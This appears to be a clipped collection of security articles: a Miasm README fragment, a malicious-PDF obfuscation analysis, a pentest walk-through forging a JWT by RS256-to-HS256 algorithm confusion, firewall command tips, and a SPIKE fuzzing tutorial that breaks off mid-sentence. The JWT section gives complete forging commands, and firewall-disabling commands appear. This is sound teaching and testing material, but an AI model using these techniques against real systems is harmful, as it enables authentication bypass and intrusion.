representation. It can emulate shellcodes, parts of binaries. Python callback
can be executed to emulate library functions.

## Documentation

Documentation can be found under =doc/=.

## Obtain Miasm

clone repo: http://code.google.com/p/smiasm/

## Software requirements

Miasm uses:

  * Grandalf \(https://github.com/bdcht/grandalf\) in order to render graphical disassembler. 

  * libtcc \(http://bellard.org/tcc/\) to Jit code for emulation mode. 

  * python-ply for parsing 

  * numpy 

## To install:

[code]

    hg clone https://code.google.com/p/smiasm/ smiasm   
    cd smiasm  
    make  
    make install
[/code]

## To install in virtual env:

[code]

    hg clone https://code.google.com/p/smiasm/ smiasm   
    cd smiasm  
    make  
    make virtinstall  
    source vmiasm/bin/activate
[/code]

## To test \(after install or virtual install\):

[code]

    cd miasm/example/  
    python disas_and_graph.py  /bin/ls
[/code]

## Note:

retry on github fail...

## Misc

  * Man, does miasm has a link with rr0d? 
  * Yes\! crappy code and uggly documentation. 

# Marco Cova's Blog » Malicious PDF trick: zoomType

**Created:**| _11/14/2010 4:16:08 PM_  
---|---  
**Updated:**| _11/14/2010 4:16:18 PM_  
**Author:**| __  
**Tags:**| _attacks reversing Malware-analysis_  
  

### Malicious PDF trick: zoomType

November 14, 2010

Here is another small trick that malicious PDFs use. The PDF contains
JavaScript code similar to the following:

[code]

    var part1="pe";
    var part2="Ty";
    var part3="o";
    var part4="get";
    var part5="xOf";
    var fun1= event["tar"+part4]["z"+part3+part3+"m"+part2+part1];
    fun1 = varka_tipo[1]+"nde"+part5;
    var fun2 = "fromCharCode";
    var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
        "abcdefghijklmnopqrstuvwxyz" +
        "0123456789"+
        "+/=";
    
    function decode(input) {
        ...
        enc1 = keyStr[fun1](input.charAt(i++));
        ...
    }
    
    var code = decode("Q2!#$%^&5a...#$%^&o=!#$%^&");
    eval(code);
    
    
[/code]

This script sets up some variables that are used in a decoding routine. As
usual, the routine decodes a long string and the result is then interpreted
via eval\(\).

The interesting part is how `fun1` is computed. Undoing the simple obfuscation
shows that it is initialized to `event.target.zoomType`. Now, `event.target`
is a reference to the Doc object. The Doc object's property `zoomType`
contains the current zoom type of the document. The documentation lists 7
possible values:

  * NoVary
  * FitPage
  * FitWidth
  * FitHeight
  * FitVisibleWidth
  * Preferred
  * ReflowWidth

Adobe Reader seems to return `FitWidth` by default. The next step in the
script extracts the second character from the zoom type string \(the letter
`i`\) and concatenates to other strings to obtain `indexOf`.

A long way to get an `i`...

# JWT Attack Walk-Through

**Created:**| _3/2/2019 6:34:13 PM_  
---|---  
**Updated:**| _3/2/2019 6:34:13 PM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec authentication bypass Java auth_  
  

  

# JWT Attack Walk-Through

There’s a well-known defect \[1\] with older versions of certain libraries
where you can trick a JSON Web Token \(JWT\) consumer that expects tokens
signed using _asymmetric_ cryptography into accepting a _symmetrically_ signed
token. This article assumes you’re comfortable with JWTs and the theory of
this attack, but the nub of it is that by switching the token algorithm from
‘RS’ to ‘HS’, a vulnerable endpoint will use its public key to verify the
token in a symmetric way \(and being public, that key isn’t much of a
secret\).

It was only recently that I came across a site \(as part of a pentest\) that
used a public key algorithm to secure its JWTs. As with any crypto, the
parties must feed exactly the right bits into the algorithm: a single bit
deviation and one party will get a different result to the other. And that’s
an issue with this attack: if the public key we use to _spoof_ a signature is
in any way different to the key the server is using to _verify_ the signature,
a vulnerable implementation may go unreported. It’s not the key itself of
course, but the way it’s packaged. Is the server’s key encoded in the PEM or
DER format? If PEM, are the new lines Windows or \*nix style \(i.e. _0x0A0D_
or _0x0A_\), are there any empty lines, etc.?

In general, if an attack fails during a black-box test, there are three
possible reasons:

  * The target isn’t vulnerable;
  * The target is vulnerable but the attack isn’t right;
  * The target is vulnerable, the attack is right but external factors stop the attack from working.

Training and experience mean that we gain greater assurance over our methods
and can discount the second possibility. To this end, Sjoerd Langkemper put up
a useful demo case of the above JWT vulnerability \[2,3\]. I obtained his
permission to write up a solution that uses OpenSSL to get full visibility of
what’s happening. Obviously this particular solution won’t necessarily be the
right one against another server but it’s the _method_ that’s important here.

First, let’s get a fresh JWT from the demo site:

[code]

    eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
[/code]

The structure is _header.payload.signature_ with each component base64-encoded
using the URL-safe scheme and any padding removed. The header and payload of
the above token decodes to:

[code]

    {"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
[/code]

Now we change the header _alg_ value to _HS256_ , and the payload to whatever
we want – in this example, the _exp_ and _data_ values:

[code]

    {"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
[/code]

Converting this back to the JWT format, we now have a header and payload ready
to go:

[code]

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
[/code]

All that’s missing is the signature, and to calculate that we need the public
key the server is using. It could be that this is freely available because,
for example, there may be times when users need to verify JWTs issued by the
site. Another potential source is the server’s TLS certificate, which may be
being re-used for JWT operations:

[code]

    openssl s_client -connect <hostname>:443
[/code]

Copy the “Server certificate” output to a file \(e.g. _cert.pem_\) and extract
the public key \(to a file called _key.pem_\) by running:

[code]

    openssl x509 -in cert.pem -pubkey –noout > key.pem
[/code]

In the case of a pentest, it would be perfectly reasonable to ask the client
about the JWT library and version in use. If known to be vulnerable, or if
there’s any doubt, the key the server uses for JWT verification could also be
requested \(after all, it’s a _public key_\) to help with assessing whether an
exploitable condition exists.

Fortunately, the public key used by the demo JWT service is made easily
available \[4\] \(which we save to a file called _key.pem_\):

[code]

    -----BEGIN PUBLIC KEY-----  
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF  
    NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c  
    1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+  
    H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f  
    ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw  
    2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF  
    KwIDAQAB  
    -----END PUBLIC KEY----
[/code]

Let’s turn it into ASCII hex:

[code]

    cat key.pem | xxd -p | tr -d "\\n"
[/code]

In this case we get:

[code]

    2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
[/code]

By supplying the public key as ASCII hex to our signing operation, we can see
and completely control the bytes \(as well as handle them in a safe way on the
command line\). Note, for example, the final new line _0x0A_ in our public key
– does the server’s public key include this? Let’s assume so in this first
attempt. Now let’s sign the JWT:

[code]

    echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
[/code]

The output – that is, the HMAC signature – is:

[code]

    db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
[/code]

A one-liner to turn this ASCII hex signature into the JWT format is:

[code]

    python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
[/code]

The output is:

[code]

    2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
[/code]

The crafted JWT is now ready:

[code]

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
[/code]

When we submit this to the server, it’s accepted\! \(It will fail if you
submit it now because it will have expired.\)

<img src='img/Temp2_4655.jpg' width='515' height='227' />

_Figure 1: Crafted JWT accepted_

If our public key had been missing the final _0x0A_ , the attack would have
failed as we would have calculated a different \(invalid\) signature. But
following such a failure, the method outlined above allows us to try different
variations of the public key in a controlled fashion to try to match the
server’s format. However you may come to test for this vulnerability in the
future, and whatever method you actually use, hopefully this post will help to
avoid false negatives.

\[1\] https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-
token-libraries/

\[2\] https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

\[3\] https://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

\[4\] https://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

**Published date:** 24 January 2019

**Written by:** Jerome Smith

<img src='img/6035_social-twitter.gif' width='32' height='32' alt='twitter
icon' /> <img src='img/6033_social-facebook.gif' width='32' height='32'
alt='facebook icon' /> <img src='img/6037_social-gplus.gif' width='32'
height='32' alt='google+ icon' /> <img src='img/6036_social-linkedin.gif'
width='32' height='32' alt='linkedin icon' />

  

# Command Line Kung Fu: Episode \#30: Twiddling with the Firewall

**Created:**| _5/16/2009 10:27:39 AM_  
---|---  
**Updated:**| _5/16/2009 10:27:43 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#30: Twiddling with the Firewall

Ed kicks it off:  
  
One of the real gems of the Windows command line is netsh. I use it all the
time. In Episode \#2, about a thousand years ago \(gosh... can it be only 2
months?\), we talked about using netsh \(yeah, and iptables\) to display
firewall config information. But, you know, there are some commands I run even
more often that alter the firewall.  
  
In particular, if I'm in my lab doing an analysis that requires me to shut off
the built-in Windows firewall, or when I'm conducting a pen test and want to
hack naked without a firewall, I drop the firewall with:  
  

[code]

    C:\> netsh firewall set opmode disable
    
[/code]

  
  
That's soooo much easier than digging through the blasted GUI to find where
Microsoft buried the firewall configuration in the given version of Windows.  
  
Simple command, but I use it all the time.  
  
To turn it back on, you'd run:  
  

[code]

    C:\> netsh firewall set opmode enable
    
[/code]

  
  
If you want to poke holes through the firewall based on port, you could run:  
  

[code]

    C:\> netsh firewall add portopening protocol = [TCP|UDP] port = [portnum] name = [NameOfRule]  
        mode = enable scope = custom addresses = [allowedIPaddr]
    
[/code]

  
  
This syntax would configure the firewall to allow traffic in for the port you
specify only if it comes from allowedIPaddr, to make your rule a little safer.  
  
And, to remove the rule, just change "add" to "del", and only type in the
command up to the port number.  
  
Finally, as we mentioned in Episode \#2, to show the overall config of the
firewall, you can run:  
  

[code]

    C:\> netsh firewall show config
    
[/code]

  
  
Hal chimes in:  
  
Firewall software is another one of those areas where there are a number of
competing options on different Unix/Linux platforms. For example you've got
ipfilter on Solaris and \{Free,Net\}BSD, pf on OpenBSD, and IP Tables on
Linux. I'm going to stick with IP Tables for purposes of this discussion,
since it's probably what most of you all deal with the most.  
  
Unfortunately, IP Tables is rather cranky to work with from the command line
if you stick with the basic "iptables" command. The developers tried to smash
all of the possible functionality configuration options into a single command,
and IP Tables is capable of some complicated stuff. The result, however, is
that there's a pretty steep learning curve for doing even basic operations.
This is why simplified firewall configuration GUIs are provided by the major
Linux distributions.  
  
But let's try and cover some of the same command-line territory that Ed does
in his Windows examples. First, as far as starting and stopping the firewall
goes, your best bet is to just run "/etc/init.d/iptables \[start|stop\]" as
root. The init script hides a lot of complexity around loading and unloading
kernel modules, firewall rules, and default packet handling policies. For
example, here are the manual command equivalents for "/etc/init.d/iptables
stop":  
  

[code]

      
    # **iptables -P INPUT ACCEPT**  
     # **iptables -P OUTPUT ACCEPT**  
     # **iptables -P FORWARD ACCEPT**  
     # **iptables -F**
    
[/code]

  
Yep, four commands-- and that's without even showing you the commands that
some init scripts use to unload the IP Tables kernel modules. The first three
commands above set the default permit \("ACCEPT"\) policy \("-P"\) for inbound
\("INPUT"\) and outbound \("OUTPUT"\) packets, as well as for packets being
passed through the system \("FORWARD"\). It's possible that your particular
firewall configuration doesn't change the default policies to block packets
\("DROP"\), but it's best to be sure. The final "iptables -F" command flushes
all filtering rules, which means all packets will now simply be handled by the
default "ACCEPT" policies.  
  
The simplest possible example of adding a rule to allowing traffic into your
system on a particular port would be something like:  
  

[code]

    # **iptables -A INPUT -p tcp --dport 80 -j ACCEPT**
    
[/code]

  
This allows \("-j ACCEPT"\) inbound traffic \("-A INPUT"\) on 80/tcp \("-p tcp
--dport 80"\). Deleting the rule is as simple as running the same command but
with a "-D INPUT" option \(delete from the "INPUT" chain\) instead of "-A
INPUT" \(add to the "INPUT" chain\).  
  
However, depending on how your particular Linux vendor sets up their firewall,
adding rules directly to the "INPUT" chain may not be the right thing to do.
Many vendors set up their own rule chains that pre-empt the default chains.
Also, you may have to add rules to the "OUTPUT" chain \(or vendor-specific
equivalent\) to allow the return packets to escape your host, unless you have
a "default permit" configuration in the outgoing direction. For these reasons,
it's best to inspect your current rule sets \("iptables -L -v"\) before making
changes.  
  
I should mention that a simplified command-line interface is now becoming
available in some Linux distributions, notably Ubuntu. If all you're
interested in is a host-based firewall, the "ufw" command makes configuration
and maintenance much easier. Here are some sample "ufw" commands:  
  

[code]

    # **ufw enable**                # enable filtering  
    # **ufw disable**               # turn off firewall  
    # **ufw status**                # show current rules  
    # **ufw allow 80/tcp**          # allow 80/tcp to any IP on this host  
    # **ufw delete allow 80/tcp**   # delete above rule
    
[/code]

  
You can also do more complex rules like:  
  

[code]

    # **ufw allow proto tcp from 1.2.3.4 to any port 25**
    
[/code]

  
If you're more used to Cisco extended ACL syntax, or use ipfilter on other
Unix systems, the "ufw" command-line syntax will be pretty natural for you.

# An Introduction to Fuzzing: Using fuzzers \(SPIKE\) to find vulnerabilities | InfoSec Resources
**Created:**| _12/27/2010 8:33:21 AM_  
---|---  
**Updated:**| _12/27/2010 8:34:04 AM_  
**Author:**| __  
**Tags:**| _security tools Fuzzer Tutorials awesome_  
  

  *     * Stephen Bradshaw is an IT Security Specialist in Australia, with a focus on the areas of penetration testing and incident detection and response. His blog is located at http://grey-corner.blogspot.com
  * ### Other Articles by Stephen Bradshaw
    * Fuzzer Automation with SPIKE
  * ### Recent Comments
    * Keatron on Advanced Tutorial: Man in the Middle Attack Using SSL Strip – Our Definitive Guide
    * Pieface on Advanced Tutorial: Man in the Middle Attack Using SSL Strip – Our Definitive Guide
    * dlg on DeMystifying the CISA Exam
    * Keatron on Advanced Tutorial: Man in the Middle Attack Using SSL Strip – Our Definitive Guide
    * Gary Fisher on Advanced Tutorial: Man in the Middle Attack Using SSL Strip – Our Definitive Guide

## An Introduction to Fuzzing: Using fuzzers \(SPIKE\) to find vulnerabilities

December 10th, 2010|By: Stephen Bradshaw|Topics: |1 Comment

This article discusses the process of fuzzing an application to find
exploitable bugs. Vulnserver, a TCP server application deliberately written by
Stephen Bradshaw to contain security vulnerabilities, will be used as the
fuzzing target. The fuzzer creation kit SPIKE will be used to perform the
fuzzing. SPIKE scripting and a simple approach to automating SPIKE fuzzing
sessions will also be discussed.  

**Requirements and System Setup**  

In order to follow along with the fuzzing exercises in this article, you will
need two networked systems – one Windows system \(Windows XP, Vista or Windows
7\) running the vulnerable application Vulnserver which will act as our
fuzzing target, and one Linux system to perform the fuzzing using SPIKE. I
recommend using a copy of BackTrack 4 Final or later as your Linux system, as
all of the software that we require to perform our fuzzing work comes already
included. Either \(or both\) of these required systems can be run as virtual
machines.  

In a number of the steps in the exercises that follow, I will run commands and
scripts that access my fuzzing target system by its IP address. My fuzzing
target system was listening on the IP address 192.168.56.101. If yours is
listening on a different address, make sure you enter this in place of
192.168.56.101 in any of the commands that follow.  

The software we will need on each of the systems is as follows:  

Fuzzing target \(Windows\):  

  * Vulnserver. Can be obtained here http://sites.google.com/site/lupingreycorner/vulnserver.zip  

  * OllyDbg 1.10. Can be obtained here http://www.ollydbg.de/  

Fuzzing system \(Linux\)  

  * SPIKE. See below.  

  * Wireshark. Should be available from your distributions package management system or from here http://www.wireshark.org/.  

  * Perl. Should come preinstalled.  

  * Netcat. Is likely to come preinstalled, otherwise should be available from your distributions package management system.  

If you use BackTrack as your fuzzing system all of these prerequisite pieces
of software will come pre-installed. If you are using another variety of Linux
you will likely need to install SPIKE from source which you can download from
here: http://www.immunitysec.com/resources-freesoftware.shtml.  

Before you actually compile SPIKE, I recommend making a small change to the
source first. Edit the file spike.c in SPIKE/SPIKE/src from the source
tarball, and find the two “return 0;” strings that immediately follow the
lines “printf\(“tried to send to a closed socket\!\n”\);”. Replace these two
“return 0;” lines with “exit\(1\);”. This change will essentially cause SPIKE
to exit with a non zero return code when it tries to send data to a closed
socket – this becomes useful when we run SPIKE from a wrapper script later on
in this article. Once this change is made you can compile SPIKE using the
normal “./configure; make” commands run from the src directory.  

On your fuzzing target system you will require Administrative rights to be
able to run the Ollydbg debugger. On Vista or Windows 7 make sure you right
click and select run as Adminstrator to ensure that the debugger is run with
the proper privileges.  

Running the Vulnserver application itself is not particularly difficult. Just
place the two binary files from the distribution – vulnserver.exe and
essfunc.dll – into the same directory and launch the program by using the Open
command in OllyDbg or just double clicking on the executable. The program by
default listens on TCP port 9999, but if you want it to listen on another port
just provide the port number as a command line parameter to vulnserver.exe.  

**What is Fuzzing?**  

Fuzzing is a process of sending deliberately malformed data to a program in
order to generate failures, or errors in the application. When performed by
those in the software exploitation community, fuzzing usually focuses on
discovery of bugs that can be exploited to allow an attacker to run their own
code, and along with binary and source code analysis fuzzing is one of the
primary ways in which exploitable software bugs are discovered.  

There are a number of popular and free software based fuzzers available, but
during this article we will focus on one of the first fuzzers to become
popular within the Information Security community – SPIKE.  

**The SPIKE Fuzzer**  

Technically speaking, SPIKE is actually a fuzzer creation kit, providing an
API that allows a user to create their own fuzzers for network based protocols
using the C programming language. SPIKE defines a number of primitives that it
makes available to C coders, which allows it to construct fuzzed messages
called “SPIKES” that can be sent to a network service to hopefully induce
errors. SPIKE was specifically designed to focus on finding exploitable bugs,
so it’s an excellent choice for our purposes.  

As I mentioned, SPIKE is a C based fuzzer creation kit, but you don’t have to
know how to write C programs to use SPIKE. SPIKE also includes a simple
scripting capability, and within the SPIKE distribution there are a few
command line tools which can act as interpreters to simple text files
containing SPIKE primitives.  

SPIKE is notoriously badly documented, however by reviewing some of the SPIKE
scripts provided in the distribution, and scanning through elements of the
SPIKE C code, we can begin to build a listing of some of the primitives that
can be used. To save you having to do this, some of these primitives will be
listed later in this document.  

There are also a number of papers and presentations available on SPIKE, with
one of the most interesting being an older presentation from SPIKE author
“Daily” Dave Aitel. \(This presentation is available here
http://www.immunitysec.com/downloads/usingspike3.ppt\) While the presentation
is rather lacking in detailed examples, it does outline a lot of the things
that make SPIKE such a great fuzzer to use for discovering software
vulnerabilities. Let’s discuss some of these features, and see how they might
be useful to us.  

What are some of the useful features of SPIKE?  

  * SPIKE has a large number of in-built strings to use for fuzzing that are very effective at producing a wide variety of errors in programs. SPIKE does a lot of the work for you in determining the values that can best be sent to an application to cause it to fail in a useful way. This means you don’t have to come up with these values yourself, and you benefit from the considerable experience of the programs author in choosing good fuzzing strings.  

  * SPIKE has a concept of “blocks”, which can be used to calculate the size of specified sections within the SPIKES that are generated by the SPIKE code. These size values can then be inserted into the SPIKES themselves, in a variety of different formats. This is a real benefit when fuzzing protocols that require accurate size values to be specified for particular fields within a message, and saves you the effort of doing these calculations yourself.  

  * SPIKE can support a number of different data types that are commonly used in network protocols, and can accept them in a variety of different formats that allow easy cutting and pasting from many different programs.  

**SPIKE Scripting**  

As previously mentioned, SPIKE also includes a basic scripting capability that
allows you to use SPIKE primitives to fuzz applications without having to code
your own SPIKE fuzzer in C. A variety of different interpreters are available
with the SPIKE distribution that allow you to specify certain relevant subsets
of these SPIKE primitives to send against various types of network
applications. In order to simplify things for the rest of this article, I am
going to refer to this subset of SPIKE primitives that can be used in SPIKE
scripts as “commands”.  

In the case of TCP based server applications, we can make use of this
scripting capability by writing SPIKE commands into .spk script files, and
running them using the TCP SPIKE script interpreter generic\_send\_tcp, which
will send the specified SPIKE at a particular IP address and TCP port. There
is also a generic\_send\_udp, which will do something similar, however in with
this interpreter the SPIKES will be sent over UDP.  

The generic\_send\_tcp interpreter, which we will be using to fuzz our
application, is found in /pentest/fuzzers/spike/ on BackTrack \(or in the src
directory if you downloaded and compiled SPIKE yourself\), and running it
without any command line parameters shows the following:  

root@bt4r1vm:/pentest/fuzzers/spike/\# ./generic\_send\_tcp  

argc=1  

Usage: ./generic\_send\_tcp host port spike\_script SKIPVAR SKIPSTR  

./generic\_send\_tcp 192.168.1.100 701 something.spk 0 0  

Hopefully the first three required command line options are self explanatory,
with parameters one and two defining the host and TCP port to connect to for
fuzzing, and the third parameter defining the name of the SPIKE script file.
Parameters 4 and 5 may require some more explanation. These parameters,
SKIPVAR and SKIPSTR, essentially allow you to jump into the middle of the
fuzzing session defined by a SPIKE script.  

Within a SPIKE script, you may specify “s\_string\_variables”, which are the
commands used to insert the actual fuzzed strings into each SPIKE that you
send. If you use more than one of these “s\_string\_variables” in your script,
you can skip using the earlier instances of “s\_string\_variables” by setting
an appropriate value for SKIPVAR. For example, if you include three
“s\_string\_variables” in your SPIKE script, and you want to ignore the first
two variables and only fuzz the third, you would set SKIPVAR to 2 \(the
numbering of the variables starts counting upwards from 0, so the third
variable is referred to by the number 2\).  

Each of the “s\_string\_variables” also has an array of different fuzz string
values inbuilt into SPIKE that it will iterate through within a SPIKE fuzzing
session. If you want to skip the first 10 of these strings, and start fuzzing
at string 11, you can set SKIPSTR to 10 \(again, counting starts from 0\).  

When you use generic\_send\_tcp, it will output information to the command
line about which variable and string it is currently testing, so if a SPIKE
session gets interrupted and you need to continue it later on you can do so
with the use of these two command line parameters.  

To start a fuzzing session from the beginning, just use “0 0″ for these
parameters, so to start a fuzzing session against host 192.168.1.101 on port
9999 using script file “test.spk” from the beginning, use the following
command line \(assuming generic\_send\_tcp is in /pentest/fuzzers/spike/\):  

root@bt4r1vm:~\# /pentest/fuzzers/spike/generic\_send\_tcp 192.168.56.101 9999
test.spk 0 0  

**SPIKE Scripting Commands**  

To write a SPIKE script for our fuzzing exercise, we first need to know what
some of the available commands are and what they do.  

If you want to hunt through the SPIKE distribution directory, the available
primitives that we can use as commands in our script file can be discovered by
examining some of the example .spk files as well as the SPIKE header file
spike.h. The spike.h file will list the available primitives \(commands\), and
the .spk files will provide examples of how those commands can be used.  

Keep in mind that the SPIKE scripting capability will only support a subset of
the primitives in spike.h – the scripting “interpreter” program performs the
work of creating the “SPIKE” and making the network connection, so you can
only use the commands that define the content of the SPIKE itself in the
scripts.  

To save you the trouble of hunting through those files, I will list some of
the more useful SPIKE primitives for scripting below. The spike.h file, being
written in C, lists each of the SPIKE commands in C syntax, using C data
types, but for the benefit of those unfamiliar with C syntax I am going to
specify the commands using an “example” format that you can more easily
reproduce when writing your scripts. The “//” notation is used in C to
designate line based comments \(everything after that point is ignored by the
compiler\), so I have used this syntax below to provide additional explanatory
detail for each of the commands. You can leave these comments in when you
create your SPIKE scripts, or add your own comments, and this text will be
ignored by the SPIKE interpreter.  

I have broken the commands below into a number of high level categories
relating to strings, binary data, blocks and other useful functions.  

**_Strings_**  
The string commands provide a way of adding ASCII character data into your
SPIKES. Also included within the string commands is the s\_string\_variable
command, one of the most important commands within SPIKE as it actually allows
you to add fuzz strings to your SPIKE.  

  * s\_string\(“string”\); // simply prints the string “string” as part of your “SPIKE”  

  * s\_string\_repeat\(“string”,200\); // repeats the string “string” 200 times  

  * s\_string\_variable\(“string”\); // inserts a fuzzed string into your “SPIKE”. The string “string” will be used for the first iteration of this variable, as well as for any SPIKES where other s\_string\_variables are being iterated  

**_Binary Data_**  
The binary commands provide a way of adding binary data to your SPIKES. They
support a wide variety of ways to specify the binary data.  

  * s\_binary\(“\\\x41″\); // inserts binary representation of hex 0×41 = ASCII “A”  

  * s\_binary\_repeat\(“\\\x41″, 200\); //inserts binary representation of 0×41 200 times  

For the binary commands in SPIKE, various other methods for specifying the
same data are also available. To output the same hex character as shown above,
we could use “41″ or “0×41″ as well, and we can also mix and match these
values, \(e.g. “410×41\\\x42″ to output ASCII “AAB”\). Any added white space
is also ignored. All of this combines to allows easy cutting and pasting from
a variety of different applications that represent data in Hex format, such as
packet capture tools, debuggers, etc.  

**_Defining Blocks_**  
Block defining commands allow you to specify the start and end points of a
named block within a SPIKE script. This allows you to define the size of those
sections of data in your SPIKES using block size commands.  

  * s\_block\_start\(“block1″\); // defines the start of block “block1″  

  * s\_block\_end\(“block1″\); // defines the end of block “block1″  

**_Block Sizes_**  
Block size commands allow you to insert the size of data inside a named block
inside the SPIKES generated by your script, using a variety of different size
formats.  

  * s\_blocksize\_string\(“block1″, 2\); // adds a string 2 characters long to the SPIKE that represents the size of block “block1″  

  * s\_binary\_block\_size\_byte\(“block1″\); //adds a 1 byte value to the SPIKE that represents the size of block “block1″  

These are just two examples from the many ways of how block size can be added
to a SPIKE. There are other methods too, that can allow you to represent block
size in a large variety of formats, and some that even allow you to add preset
values to the block size before it is  

To see some of the other options, simply perform a grep on the spike.h file in
the SPIKE src directory for the strings “block\_size” or “blocksize”.  

**_Other Useful Commands_**  
Other useful commands are those that don’t fit into any of the other
categories previously mentioned.  

  * s\_read\_packet\(\); // Reads and prints to screen data received from the server  

  * s\_readline\(\); // Reads a single line of input from the server  

You can also use general C language functions within SPIKE scripts, to give
you additional scripting capabilities. One particularly useful function is
printf\(\), which can be used to output data to the terminal, which can give
our scripts more informative console output.  

**_An Example SPIKE Script_**  
The following is an example SPIKE script that could be used to fuzz the
inputvar variable in php script testme.php via a POST request to
testserver.example.com.  

s\_string\(“POST /testme.php HTTP/1.1\r\n”\);  

s\_string\(“Host: testserver.example.com\r\n”\);  

s\_string\(“Content-Length: “\);  

s\_blocksize\_string\(“block1″, 5\);  

s\_string\(“\r\nConnection: close\r\n\r\n”\);  

s\_block\_start\(“block1″\);  

s\_string\(“inputvar=”\);  

s\_string\_variable\(“inputval”\);  

s\_block\_end\(“block1″\);  

This script essentially specifies a message like the below, where
\[fuzz\_string\] represents the location where the SPIKE fuzz strings will be
inserted into the message, and \[size\_of\_data\] represents the size of the
data section of the POST request, which contains the fixed string “inputvar=”
and the variable data of the fuzz string. This size field will be
automatically updated as the fuzz string changes.  

POST /testme.php HTTP/1.1  

Host: testserver.example.com  

Content-Length: \[size\_of\_data\]  

Connection: close  

inputvar=\[fuzz\_string\]  

**Understanding the Fuzzed Protocol**  

Successful fuzzing often requires that malformed or unexpected data be
